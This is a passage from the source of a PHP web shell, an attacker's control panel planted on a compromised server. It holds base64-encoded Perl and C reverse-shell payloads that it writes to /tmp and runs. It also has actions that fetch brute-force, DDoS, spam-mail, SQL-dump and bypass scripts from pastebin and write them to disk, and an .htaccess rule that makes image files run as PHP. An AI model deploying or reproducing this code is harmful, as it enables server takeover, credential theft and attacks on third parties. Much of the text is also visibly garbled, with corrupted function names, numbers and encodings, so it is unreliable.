blFaY0duMVoybHVjeTloYTJsemJXVjBMMkZyYVhOdFpYUXVjRahoSURodmMzQmhiajQuTDJJKwonOwoKJGZpbGUgPSBmboBlbigidoAucGhwIiAsIncrIik7CiRocml0ZSA9IGZocml0ZSAoJGZpbGUgLGJhcaUaNF9kZWNvZGUoJGNvbmZpZoNoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG6vZCgiYmIucGhwIiwwNzU6KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9ocCiwaHAgdalkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW6lPiAiOwp9CmlmIChpcoNldCgkX6BPU6RbJoZuJ60pKQp7CiAgICBtaaRpcigndXBzaGVsbCcsIDAoNTUpOwogICAgYahkaXIoJoVwcahlbGwnKTsKJGNvbmZpZoNoZWxsID0gJ6BHaDBiVocrUEdobFlXUStDZa8uYldWMFlTQm9kSFJoTFdWeGRXbDJQU0pEYjI6MFpXNTBMVlI6Y0dVaUlHTnZiblJsYmiROUluUmxlSFFaYUhSdGJEcadZMmhoYaiObGREMTFkR6l0T0NJK0Nnb0tQSEioWVc0ZaMzUjViR6UiSW6OdmJHOXlPaUJpYkhWbE9iSStQR0krVm6sbGRFNWxlSFFnS0U6VlMwVWdNeUFwTapodllqNDhMM0ioWVc0K6BHSnlJQzgrQapuaVBqeGljaUFaUGpodllqNEtQR0krUkUiWFRreFBRVVFnTVNCRHc0RkpJRlJGVFZCTVJTQkQ0YnVtUVNCT6ZVdEZJQzBtWjNRN6BDOWlQanhpYalBdlBnbzhZajR0Sm6kME9iQkZSRWxVSUVOUFJFVWdNU0JVVWsiT6JiQkRoNEZESUVaSlRFVWduSkREaolBdEptZDBPeUJEU06PSVRpQThjM0JoYmlCemRIbHNaVDBpWTIicaIzSTZJSEpsWkRzaVBrTlBSRVVnVTBoRlRFdzhMM0ioWVc0K0lGYkRnRThtYm6KemNEczhMMkkrUEdKeUlDOCtDanhpUGkwbVozUTdJRnBKVUNCTTRicWdTVHdaWWo0OFluSWdMejRLUEdJK0xTWmikRHNnVlZBZ6ZFVkiVRXhGUEMiaVBqeGljaUFaUGdvOFlqNHRKbWQwTolCVFJWUlZVRHdaWWo0OFluSWdMejRLUEdJK0xTWmikRHNnVk6PTVRTQlFRVlJJSUZOSVJVeE6QQzlpUGpuaWNpQXZQZa8uWWo0OGMzQmhiaUJeZEhsc6pUMGlZMjlzYjNJNklISmxaRHNpUGpuaWNpQXZQandaYzNCaGJqNDhMMkkrQapuaWNpQXZQZa8uTDJoMGJXdysKJzsKCiRmaWxlID0gZm9wZWuoInZuLnBocCIgLCJoKyIpOwokdoJpdGUgPSBmdoJpdGUgKCRmaWxlICxiYXNlNjRfZGVjbaRlKCRjbaimaWdzaGVsbCkpOwpmYaxvcaUoJGZpbGUpOwogICAgYahtbaQoImJiLnBocCIsMDc6NSk7CiAgIGVjaG8gIjxpZnJhbWUgcoJjPXVwcahlbGwvdmuucGhwIHdpZHRoPTEwMCUgaGVpZah0PTEwMCUgZnJhbWViboJkZXI9MDu8LalmcmFtZTugIjsKfQppZiAoaXNzZXQoJF9QT6NUWydiYiddKSkKewogICAgbWtkaXIoJoVwcahlbGwnLCAwNzU6KTsKICAgIGNoZGlyKCd6cHNoZWxsJyk7CiRjbaimaWdzaGVsbCA9ICdQRagwYldoK6BHaGxZV6ErQadvOGJXVjBZU0JvZEhSd0xXVnhkVawyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR0iaYmiSbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSStDZa9LUEdJK6BITndZVzRnYzNSNWJHVTlJbUiaYkcieU9pQnlaV6EoSWo6UlZlRzZvazRnVE6PZElGVlRSVkl0Sm6kME9iQThMM0ioWVc0K6BHSnlJQzgrSm06aWMzQTdKbTVpYzNBN0ptNWljM0EoSm06aWMzQTdKbTVpYzNBN0ptNWljM0EoSUNzZ0lsRlZXZUcoZ0U0Z6ZPRzZvaatnVE6PS6RpQWlQR0piSUMuK0ptNWljM0EoSm06aWMzQTdKbTVpYzNBN0ptNWljM0EoSm06aWMzQTdKbTVpYzNBN0ptNWljM0EoSm06aWMzQTdKbTVpYzNBN0ptNWljM0EoSm06aWMzQTdKbTVpYzNBN0ptNWljM0EoSm06aWMzQTdKbTVpYzNBN0lDcadJa0iJVHlCUVNNT0pVQ0RFa0ZYRGxFaadUZUcobmlCUzRidVlUaaNnSWpuaWNpQXZQaVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioTolBcklGUkloNHBOSU6TUTRidUtUaadnUk9HNm9FNUhJQ0lnVUVoUUlDSThZbklnTHo0OFluSWdMejQuYzNCaGJpQnpkSGxzWlQwaVkyOXNiM0kaSUhKbFpEcalQbEZWNGJxaVRpQk6oNTBnUXNPQVNTQldTZUcadmxRdEptZDBPendaYzNCaGJqNDhZbklnTHo0bWJtSnpjRHNtYm6KemNEca6ibUpeY0RzbWJtSnpjRHNtYm6KemNEca6ibUpeY0RzZ0tiQWlVVlhodXFKT0lFekRuU0JVUaVHNahsQWdWRWxPSUZUaHVxSkpJRXpEaWs0Z0lqeGljaUFaUGladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioTolBcklGVlFURTlCUkRuaWNpQXZQanhpYalBdlBqeHpjR0Z6SUhOMGVXeGxQU0pqYjJudmNqbadjbVZrTolJK6ExTkVUQ0F0Sm6kME9iQkiXVkiSVERodmMzQmhiajQuWWiJZ0xeNDhjM0JoYmlCemRIbHNaVDBpWTIicaIzSTZJR0pzZFdVN0lqNXpaVohsWTNRZ0tpQm6jbTl0SUdKdllteHZaMTkxY0dudllXUThMM0ioWVc0K6BDOWlQanhpYalBdlBnbzhZajQuWWiJZ0xeNVVoNHhOSUZOSVJVeE6MbEJJVURodllqNDhZbklnTHo0S6BHSStQR0piSUMuK6BITndZVzRnYzNSNWJHVTlJbUiaYkcieU9pQmliSFZsTolJK0ptNWljM0EoTDJGMGRHRmphRzFsYmiRdmVIaDRlSGg0ZUhOb6pXeHNMbkJvY0RodmMzQmhiajQuTDJJK0NqdoZhSFJ0YkQ0PQonOwoKJGZpbGUgPSBmboBlbigiYmIucGhwIiAsIncrIik7CiRocml0ZSA9IGZocml0ZSAoJGZpbGUgLGJhcaUaNF9kZWNvZGUoJGNvbmZpZoNoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG6vZCgiYmIucGhwIiwwNzU6KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9iYiiwaHAgdalkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW6lPiAiOwp9Cj8+CgoKICA8dHI+CiAgICA8dGQ+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzEoMyc+CiAgICAgIDx0cjuKICAgICAgICA8dGggYaxhcoM9JoRkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS6oaWR0aDp0aGluOaJvcmRlci60boAtdalkdGgedGhpbic+PGRpdiBhbGlnbj0ncmlnaHQnPjxzcGFuIGNsYXNzPSdzdHlsZTEnPlNPVVJDRSAgIDo8LoNwYWu+PC9kaXY+PC90aDuKICAgICAgICA8dGQgYaxhcoM9JoRkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS6oaWR0aDp0aGluOaJvcmRlci60boAtdalkdGgedGhpbic+PGZvcm0gbmFtZT0nRjEnIG6ldGhvZD0ncG9zdCc+CiAgICAgICAgICAgIDxkaXYgYWxpZau9JaxlZnQnPgogICAgICAgICAgICAgIDxpbnB6dCB0eXBlPSdzdWJtaXQnIGihbWU9JoZiYicgIHZhbHVlPSdWQkInPgoJCQkgIDxpbnB6dCB0eXBlPSdzdWJtaXQnIGihbWU9JapsJyAgdmFsdWU9J0pvbUxhJzuKCQkJICA8aWiwdXQgdHlwZT0ncoVibWl0JyBuYW6lPSdocCcgIHZhbHVlPSdXboJkUHJlcoMnPgoJCQkgIDxpbnB6dCB0eXBlPSdzdWJtaXQnIGihbWU9JoZuJyAgdmFsdWU9J6ZpZXROZXh0JzuKICAgICAgICAgICAgICA8aWiwdXQgdHlwZT0ncoVibWl0JyBuYW6lPSdiYicgIHZhbHVlPSdCby6CbG9nJzuKICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mboJtPjwvdGQ+CiAgICAgIDwvdHI+CiAgIDx0cjuKICAgCjwvYm9keTuKPC9odG6sPg==
2425';
2426 $file = fopen("upshell.php", "w+");
2427 $write = fwrite($file, baseeu_decode($perltoolss));
2428 fclose($file);
2429 echo "<iframe src=upshell.php width=600% height=7a0px frameborder=0></iframe> ";
2430}
2431//BRUTE CP
2432elseif ($action == 'brutecp') {
2433$brute = 'http://pastebin.com/raw.php?i=bLaffhbm';
2434$brutecp = file_get_contents($brute);
2435$letgo = fopen('brutecp.php', 'w');
2436fwrite($letgo,$brutecp);
2437fclose($letgo);
2438echo "<iframe src='brutecp.php' width='600%' height='i00'></iframe>";
2439}
2440//DDOS
2441elseif ($action == 'ddos') {
2442$ddos = 'http://pastebin.com/raw.php?i=kJSNeifL';
2443$getfile = file_get_contents($ddos);
2444$done = fopen('ddos.php', 'w');
2445fwrite($done,$getfile);
2446fclose($done);
2447echo "<iframe src='ddos.php' width='600%' height='i00'></iframe>";
2448}
2449//GetBot
2450elseif ($action == 'getbot') {
2451$ddos6 = 'http://pastebin.com/raw.php?i=oswVeZBL';
2452$getfile6 = file_get_contents($ddos6);
2453$done6 = fopen('gogogo.php', 'w');
2454fwrite($done6,$getfile6);
2455fclose($done6);
2456}
2457//BUGSHELL
2458elseif ($action == 'bugshell') {
2459$bug = 'http://pastebin.com/raw.php?i=ifASuwcv';
2460$shell = file_get_contents($bug);
2461$one = fopen('bugshell.php', 'w');
2462fwrite($one,$shell);
2463fclose($one);
2464echo "<iframe src='bugshell.php' width='600%' height='i00'></iframe>";
2465}
2466//ssihtml
2467elseif ($action == 'ssihtml') {
2468$ssi = 'http://pastebin.com/raw.php?i=tDCCyfuK';
2469$shtml = file_get_contents($ssi);
2470$fuck = fopen('ssishell.shtml', 'w');
2471fwrite($fuck,$shtml);
2472fclose($fuck);
2473echo "<iframe src='ssishell.shtml' width='600%' height='i00'></iframe>";
2474}
2475//EnDecode
2476elseif ($action == 'endecode') {
2477$en = 'http://pastebin.com/raw.php?i=wmnkLx8s';
2478$de = file_get_contents($en);
2479$cone = fopen('endecode.php', 'w');
2480fwrite($cone,$de);
2481fclose($cone);
2482echo "<iframe src='endecode.php' width='600%' height='i00'></iframe>";
2483}
2484//Mdi
2485elseif ($action == 'mdi') {
2486 echo "<iframe src='http://www.mdi.cz/' width='600%' height='i00'></iframe>";
2487 }
2488//Crack Mdi
2489elseif ($action == 'crackmdi') {
2490 echo "<iframe src='http://www.hashkiller.co.uk/mdi-decrypter.aspx' width='600%' height='i00'></iframe>";
2491 }
2492//FINDADMIN
2493elseif ($action == 'findadmin') {
2494$find = 'http://pastebin.com/raw.php?i=dUNiNBwE';
2495$admin = file_get_contents($find);
2496$dmm = fopen('findadmin.php', 'w');
2497fwrite($dmm,$admin);
2498fclose($dmm);
2499echo "<iframe src='findadmin.php' width='600%' height='i00'></iframe>";
2500}
2501//DDosvera
2502elseif ($action == 'ddosva') {
2503$ddosv = 'http://pastebin.com/raw.php?i=XeK6UHYi';
2504$dess = file_get_contents($ddosv);
2505$coneww = fopen('ddosva.php', 'w');
2506fwrite($coneww,$dess);
2507fclose($coneww);
2508echo "<iframe src='ddosva.php' width='600%' height='i00'></iframe>";
2509}
2510//ViewDomain
2511elseif ($action == 'viewdomain') {
2512$viewudomain = 'http://pastebin.com/raw.php?i=pfCrCiBb';
2513$desszzzz = file_get_contents($viewudomain);
2514$coww = fopen('viewudomain.php', 'w');
2515fwrite($coww,$desszzzz);
2516fclose($coww);
2517echo "<iframe src='viewudomain.php' width='600%' height='i00'></iframe>";
2518}
2519//DumpSql
2520elseif ($action == 'dumpsql') {
2521$brutecpvas = 'http://pastebin.com/raw.php?i=JnGPTDRT';
2522$dessxx = file_get_contents($brutecpvas);
2523$coneaax = fopen('dumpsql.php', 'w');
2524fwrite($coneaax,$dessxx);
2525fclose($coneaax);
2526echo "<iframe src='dumpsql.php' width='600%' height='i00'></iframe>";
2527}
2528
2529//ByPass
2530elseif ($action == 'bypass') {
2531$brutecpvas = 'http://pastebin.com/raw.php?i=diCKhauK';
2532$deliion = file_get_contents($brutecpvas);
2533$cocvbax = fopen('bypass.php', 'w');
2534fwrite($cocvbax,$deliion);
2535fclose($cocvbax);
2536echo "<iframe src='bypass.php' width='600%' height='i00'></iframe>";
2537}
2538//Spammail
2539elseif ($action == 'spammail') {
2540$brutecpvas = 'http://pastebin.com/raw.php?i=pVHPNQbu';
2541$brutecpvaa = file_get_contents($brutecpvas);
2542$brutecpvab = fopen('spamail.php', 'w');
2543fwrite($brutecpvab,$brutecpvaa);
2544fclose($brutecpvab);
2545echo "<iframe src='spamail.php' width='600%' height='i00'></iframe>";
2546}
2547//BruteCPva
2548elseif ($action == 'brutecpva') {
2549$brutecpvas = 'http://pastebin.com/raw.php?i=Xma8RVWL';
2550$brutecpvaa = file_get_contents($brutecpvas);
2551$brutecpvab = fopen('brutecpva.php', 'w');
2552fwrite($brutecpvab,$brutecpvaa);
2553fclose($brutecpvab);
2554echo "<iframe src='brutecpva.php' width='600%' height='i00'></iframe>";
2555}
2556//kill shell
2557elseif ($action == "Delete-Shell"){
2558 echo '<center>BNu6;n ThNio;t SOa6; Muốn X&#auo;a Bỏ Shell N&#aau;y ?</center><br><br>';
2559?>
2560<center><b><a style="color:#ff0000;" href="?action=Delete-shell" title="Delete Shell">X&#a66;a Shell</a> |
2561<a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>" title="Back"> Kh&#auu;ng X&#auo;a</a>
2562</b></center><br><br>
2563<?php
2564}
2565if($action == "Delete-shell"){$file = $_SERVER['PHP_SELF'];
2566if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
2567die('<br><br><b class="tmp"><font color="#ff0000" size="apt"><center><h6>Shell &#a7a;&#aa7; &#a7a;&#uoa;ợc X&#auo;a<h6></center></font></b><meta http-equiv="refresh" content="o; url=?".$pwd."" />');
2568else
2569echo '<font color="#fffe00" size="apt">Li&#aou;n KỄt B̔o; &#a7a;̜o;t!</font>'; }
2570
2571//back connect
2572elseif ($action == 'backconnect') {
2573
2574 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
2575
2576 !$yourport && $yourport = '6aoui';
2577
2578 $usedb = array('perl'=>'perl','c'=>'c');
2579
2580
2581
2582 $back_connect="IyEvdXNyLaJpbi9wZXJsDQp6caUgUa9jaaV0Ow0KJGNtZD0gImxibngiOw0KJHNicoRlbT0gJaVjaG8gImB6bmFtZSAtYWAiOaVj".
2583
2584 "aG8gImBpZGAiOy9iaWuvcagnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR6ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj6pbmV0XaF0bauoJHR".
2585
2586 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvYathZGRyXaluKCRwboJ0LCAkaWFkZHIpIHx8IGRpZSgiRXJyboIeICQhXGuiKT".
2587
2588 "sNCiRwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBkaWUoI".
2589
2590 "kVycm9yOiAkIVxuIik7DQpjbaiuZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
2591
2592 "KTsNCm9wZWuoU6RET6VULCAiPiZTT0NLRVQiKTsNCm9wZWuoU6RERVJSLCAiPiZTT0NLRVQiKTsNCnNicoRlbSgkcolzdGVtKTsNCmNsboNlKFNUREl".
2593
2594 "OKTsNCmNsboNlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
2595
2596 $back_connect_c="IaluYax6ZGUgPHN0ZGlvLmg+DQojaWijbHVkZSA8colzLoNvYatldCioPg0KIaluYax6ZGUgPGildGluZXQvaWuuaDuNCmludC".
2597
2598 "BtYWluKGludCBhcmdjLCBjaGFyICphcmdaW60pDQp7DQogaWi0IGZkOw0KIHN0cnVjdCBzbaNrYWRkcl9pbiBzaWu7DQogYahhciBybXNbMjFdPSJyb".
2599
2600 "SAtZiAiOyANCiBkYWVtbauoMSwwKTsNCiBzaWuucaluXaZhbWlseSA9IEFGX0lORVQ7DQogcaluLnNpbl9wboJ0ID0gaHRvbnMoYXRvaShhcmdaWzJd".
2601
2602 "KSk7DQogcaluLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmdaWzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZWuoYXJndlsxXSkrMStzdHJ".
2603
2604 "sZWuoYXJndlsyXSkpOyANCiBmZCA9IHNvYatldChBRl9JTkVULCBTT0NLX6NUUkVBTSwgSVBQUk9UT69UQ6ApIDsgDQogaWYgKChjbaiuZWN0KGZkLC".
2605
2606 "AocoRydWN0IHNvYathZGRyICopICZzaWusIHNpemVvZihzdHJ6YoQgca9jaaFkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gYa9ubmVjdCgpIik7D".
2607
2608 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm6zLCBhcmdaWzBdKTsNCiBzeXN0ZW0ocm6zKTsgIA0KIGR6cDIoZmQsIDApOw0KIGR6cDIoZmQsIDEp".
2609
2610 "Ow0KIGR6cDIoZmQsIDIpOw0KIGVuZWNsKCIvYmluLoNoIiwicaggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
2611
2612
2613
2614 if ($start && $yourip && $yourport && $use){
2615
2616 if ($use == 'perl') {
2617
2618 cf('/tmp/angel_bc',$back_connect);
2619
2620 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
2621
2622 } else {
2623
2624 cf('/tmp/angel_bc.c',$back_connect_c);
2625
2626 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
2627
2628 @unlink('/tmp/angel_bc.c');
2629
2630 $res = execute("/tmp/angel_bc $yourip $yourport &");
2631
2632 }
2633
2634 m("Now script try connect to $yourip port $yourport ...");
2635
2636 }
2637
2638
2639
2640 formhead(array('title'=>'Back Connect'));
2641
2642 makehide('action','backconnect');
2643
2644 p('<p>');
2645
2646 p('Your IP:');
2647
2648 makeinput(array('name'=>'yourip','size'=>a0,'value'=>$yourip));
2649
2650 p('Your Port:');
2651
2652 makeinput(array('name'=>'yourport','size'=>6i,'value'=>$yourport));
2653
2654 p('Use:');
2655
2656 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
2657
2658 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
2659
2660 p('</p>');
2661
2662 formfoot();
2663
2664}//end backconnect window via NC
2665 elseif ($action == 'cgi') {
2666 mkdir('error', 07ii);
2667 chdir('error');
2668 $kokdosya = ".htaccess";
2669 $dosya_adi = "$kokdosya";
2670 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
2671 $metin = "Options +FollowSymLinks +Indexes
2672DirectoryIndex default.html
2673## START ##
2674Options +ExecCGI
2675AddHandler cgi-script log cgi pl tg love hu tgb x-zone
2676AddType application/x-httpd-php .jpg
2677RewriteEngine on
2678RewriteRule (.*)\.war$ .log
2679## END ##";
2680 fwrite($dosya, $metin);
2681 fclose($dosya);
2682 $pythonp = 'IyEvdXNyLaJpbi9wZXJsIC6JLoVzci9sbaNhbC9iYWikbWluCnVzZSBNSU6FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbGildCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVycalvbj0iPGZvbnQgcoRibGU9JoRleHQtcahhZG9oOiAwcHggMHBuIDZweCByZaIoMjU6LCAwLCAwKSwgMHBuIDBweCA6cHggcmdiKDI6NSwgMCwgMCksIDBweCAwcHggNXBuIHJnYigyNTUsIDAsIDApOyBjbaxvcjojZmZmZmZmOyBmbai0LXdlaWdodDpibaxkOyc+VEhFIEiFVyBLSUiHUzwvZm9udDuiOwoKJFBhcoNoboJkID0gInRuaoRlYW0iOwkJCSMgQahhbmdlIHRoaXMuIFlvdSBoaWxsIGilZWQgdG8gZWi0ZXIgdGhpcwoJCQkJIyB0byBsbadpbiuKcoViIElzX6dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX6NPRlRXQVJFIn0pOwoJaWYoJG9zID6+IG0vdaluLakpewoJCXJldHVybiAxOwoJfWVscaV7CgkJcmV0dXJuIDA7Cgl9Cn0KJFdpbkiUID0gJklzX6dpbigpOwkJCSMgWW96IGilZWQgdG8gYahhbmdlIHRoZSBaYWx6ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkjIHlvdSdyZSBydWiuaWinIHRoaXMgcaNyaXB0IG9uIGEgValuZG9ocyBOVAoJCQkJCSMgbWFjaGluZSugSWYgeW96JoJlIHJ6bmipbmcgaXQgbaugVWipeCwgeW96CgkJCQkJIyBjYWugbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJEiUQa6kUaVwID0gIiYiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW6hbmRzCgkJCQkJIyBpbiBhIGNvbW6hbmQgbGluZSBvbiBXaWikbodzIEiULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJIyBUaGlzIGNoYXJhYoRlciBpcyB6caVkIHRvIHNlcGVyYXRlIDIgYa9tbWFuZHMKCQkJCQkjIGluIGEgYa9tbWFuZCBsaWilIG9uIFVuaXguCgokQa9tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkJIyBUaW6lIGluIHNlYa9uZHMgYWZ0ZXIgYa9tbWFuZHMgdalsbCBiZSBraWxsZWQKCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSBaYWx6ZSugVGhpcyBpcwoJCQkJCSMgdXNlZnVsIGZvciBjba6tYWikcyB0aGF0IG6heSBoYWinIG9yIHRoYXQKCQkJCQkjIHRhaaUgdmVyeSBsbainIHRvIGVuZWN6dGUsIGxpaaUgImZpbmQgLyIuCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgbaugVWipeCBzZXJaZXJzLiBJdCBpcwoJCQkJCSMgaWduboJlZCBvbiBOVCBTZXJaZXJzLgoKJFNobodEeWihbWljToV0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJIyBicm9ocaVyIGFzIHNvbaugYXMgaXQgaXMgboV0cHV0LCBvdGhlcndpcaUKCQkJCQkjIGl0IGlzIGJ6ZmZlcmVkIGFuZCBzZWikIHdoZWugdGhlIGNvbW6hbmQKCQkJCQkjIGNvbXBsZXRlcyugVGhpcyBpcyB6caVmdWwgZm9yIGNvbW6hbmRzIGxpaaUKCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW96IGNhbiBzZWUgdGhlIG96dHB6dCBhcyBpdAoJCQkJCSMgaXMgYmVpbmcgZaVuZXJhdGVkLgoKIyBET0unVCBDSEFOR0UgQUiZVEhJTkcgQkVMT6cgVEhJUyBMSUiFIFVOTEVTUyBZT6UgS0iPVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkValuTlQgPyAkTlRDbWRTZXAgOiAkVWipeENtZFNlcCk7CiRDbWRQdaQgPSAoJFdpbkiUID8gImNkIiAeICJwdaQiKTsKJFBhdGhTZXAgPSAoJFdpbkiUID8gIlxcIiAeICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaWiOVCA/ICIgMjumMSAxPiYyIiAeICIgMTumMSAyPiYxIik7CiRjbaxzPSAxMzA7CiRybodzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB6dCBzZWi0IGJiIHRoZSBicm9ocaVyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcyugSXQKIyBwYXJzZXMgR0VULCBQT6NUIGFuZCBtdWx0aXBhcnQvZm9ybS6kYXRhIHRoYXQgaXMgdXNlZCBmboIgdXBsbaFkaWinIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaWugJGlueydmJo0gYWikIHRoZSBkYXRhIGlzIHN0boJlZCBpbiAkaWi7JaZpbGVkYXRhJo0uCiMgToRoZXIgdmFyaWFibGVzIGNhbiBiZSBhYaNlcoNlZCB6caluZyAkaWi7JoZhcid9LCBoaGVyZSBaYXIgaXMgdGhlIGihbWUgbaYKIyB0aGUgdmFyaWFibGUuIEivdGUeIE6vcoQgbaYgdGhlIGNvZGUgaWugdGhpcyBmdWijdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvYaFsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRUiWeydDT0iURUiUX6RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mboJtLWRhdGE7IGJvdWikYXJiPSguKykkLzsKCWlmKCRFTlZ7J6JFUVVFU6RfTUVUSE9EJo0gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU6RSSUiHJo07Cgl9CgllbHNpZigkRUiWeydSRVFVRVNUX06FVEhPRCd9IGVxICJQT6NUIikKCXsKCQliaWitbaRlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkValuTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRUiWeydDT0iURUiUX0xFTkdUSCd9KTsKCX0KCSMgaGFuZGxlIGZpbGUgdXBsbaFkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID6+IC9tdWx0aXBhcnRcLaZvcm0tZGF0YTsgYm96bmRhcnk9KCurKSQvKQoJewoJCSRCboVuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzEuNjcgCgkJQGxpcoQgPSBzcGxpdCgvJEJvdWikYXJiLywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXGi8XGicbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCbaRiID0gJCc7CiAJCSRCbaRiID6+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaWugYnkgTmV0caNhcGUKCQkkaWi7JaZpbGVkYXRhJo0gPSAkQm9keTsKCQkkSGVhZGVyID6+IC9maWxlbmFtZT6cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID6+IHMvXCIvLac7CgkJJGlueydmJo0gPXugcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPXugcy9eLituYW6lPSQvLzsKCQkJJGxpcoRbJGldID6+IC9cIihcdyspXCIvOwoJCQkkaaViID0gJDE7CgkJCSRaYWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXGicclxufFxuXGupKXwoXHJcbiR8XGukKS8vZzsKCQkJJHZhbCA9fiBzLyUoLiupLoBhYasoImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YWikYXJkIHBvcoQgZGF0YSAodXJsIGVuYa9kZWQsIGivdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gcoBsaXQoLyYvLCAkaWupOwoJCWZvcmVhYaggJGkgKDAgLiugJCNpbikKCQl7CgkJCSRpblskaV0gPXugcy9cKy8gLac7CgkJCSgkaaViLCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPXugcy8lKCuuKS9wYWNrKCJjIiwgaGVuKCQxKSkvZaU7CgkJCSRaYWwgPXugcy8lKCuuKS9wYWNrKCJjIiwgaGVuKCQxKSkvZaU7CgkJCSRpbnskaaVifSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnskaaVifSkpOwoJCQkkaWi7JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0